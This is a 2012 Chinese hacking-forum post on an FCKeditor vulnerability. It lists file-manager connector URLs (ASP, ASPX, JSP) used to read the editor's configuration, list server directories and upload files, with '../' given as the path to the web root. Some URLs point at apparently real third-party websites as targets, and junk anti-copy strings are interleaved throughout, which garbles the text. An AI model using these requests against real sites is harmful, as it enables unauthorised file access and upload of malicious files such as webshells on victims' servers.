找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1973|回复: 0
打印 上一主题 下一主题

fckeditor漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:02:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
: t3 S. U; y( n) z4 r1 n
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/asp/connector.asp1 X# y) {. i& @- J9 u8 C6 a. ]
http://www.china-photo-model.com ... aspx/connector.aspx
" U% B) _; ^* y& L$ g% f+ j/ ?- D) Q) o3 A# }' B9 u; g6 m$ K

# O7 C- R: u8 j/ hhttp://yeni.kadikoy.bel.tr/globa ... ctors/jsp/connector
7 \7 C. w0 K2 J( N! R
. p- c; H: f+ p  o/ k* W5 T0 A; L  q
1 L  o6 o. H  f8 ]& A7 C# Y* S
& `: A3 p4 K* g! C) p: [$ T
0 @2 \6 K% O1 @5 u' Q: @0 q7 {0 R' i) I5 t0 G
查看配置和列出目录下的文件.
) ]9 ~5 \; ?. V7 j9 B% _$ e2 c; u( R) X# S
, o# w" \7 a( @' g3 E. |4 h
http://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
$ z/ F% }; X" P8 nhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
/ X: l/ X0 C% W" Z  S' v) E: A/ U' w1 \
上传地址:
9 ^* r: M, Q2 z! |
$ M9 I$ k+ B) Q( O3 ehttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F
( }' I  O! \& A. Ehttp://www.xxx.com/fckeditor/edi ... ctors/jsp/connector    ../为根目录
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表